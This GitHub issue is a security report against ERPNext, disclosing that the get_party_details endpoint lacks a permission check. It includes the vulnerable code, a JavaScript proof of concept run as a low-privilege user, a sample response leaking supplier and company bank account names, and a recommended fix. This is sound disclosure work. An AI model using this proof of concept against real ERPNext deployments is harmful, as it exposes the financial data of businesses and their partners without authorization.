Skip to content

[Security] HIGH: Missing Authorization in get_party_details Exposes Bank Account Data #56108

@pratheep-bit

Description

@pratheep-bit

Security Vulnerability Report

Severity: High
Reporter: pratheep-bit
Date: 2026-06-18
File: erpnext/accounts/doctype/payment_entry/payment_entry.py — Lines 2443–2466

Summary

The get_party_details whitelisted endpoint has no frappe.has_permission() check, allowing any authenticated user to retrieve party names, accounting details, and bank account names for any Customer or Supplier.

Vulnerable Code

@frappe.whitelist()
def get_party_details(company: str, party_type: str, party: str, date: str, cost_center: str | None = None):
    bank_account = ""
    party_bank_account = ""

    if not frappe.db.exists(party_type, party):
        frappe.throw(_("{0} {1} does not exist").format(_(party_type), party))

    party_account = get_party_account(party_type, party, company)
    account_currency = get_account_currency(party_account)
    _party_name = "title" if party_type == "Shareholder" else party_type.lower() + "_name"
    party_name = frappe.db.get_value(party_type, party, _party_name)

    if party_type in ["Customer", "Supplier"]:
        party_bank_account = get_party_bank_account(party_type, party)
        bank_account = get_default_company_bank_account(company, party_type, party)

    return {
        "party_account": party_account,
        "party_name": party_name,
        "party_account_currency": account_currency,
        "party_bank_account": party_bank_account,
        "bank_account": bank_account,
    }

Root Cause

Compare with the adjacent function get_account_details (line 2469) which correctly calls frappe.has_permission("Payment Entry", throw=True). This function skips that check entirely. The unvalidated party_type parameter also acts as a cross-doctype existence oracle via frappe.db.exists(party_type, party).

PoC

// Run as a user with only "Employee Self Service" role:
frappe.call({
    method: "erpnext.accounts.doctype.payment_entry.payment_entry.get_party_details",
    args: {
        company: "Your Company Name",
        party_type: "Supplier",
        party: "SUP-00001",
        date: frappe.datetime.nowdate()
    },
    callback: function(r) { console.log(JSON.stringify(r.message, null, 2)); }
});

Response reveals sensitive data:

{
    "party_account": "Creditors - MC",
    "party_name": "Acme Supplies Ltd",
    "party_account_currency": "USD",
    "party_bank_account": "Acme Supplies - HSBC 4521",
    "bank_account": "Company Main Account - Chase"
}

Impact

  • Bank account data exposure for every Customer and Supplier
  • Account enumeration — party accounting details exposed without authorization
  • Cross-doctype existence oracle via unvalidated party_type
  • Insider threat — minimal-access employees can harvest financial details

Recommended Fix

@frappe.whitelist()
def get_party_details(company, party_type, party, date, cost_center=None):
    if party_type not in ("Customer", "Supplier", "Employee", "Shareholder"):
        frappe.throw(_("Invalid party type"), frappe.PermissionError)
    frappe.has_permission("Payment Entry", throw=True)
    frappe.has_permission(party_type, ptype="read", doc=party, throw=True)
    # ... rest of function unchanged

Discovered during ERPNext security audit

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions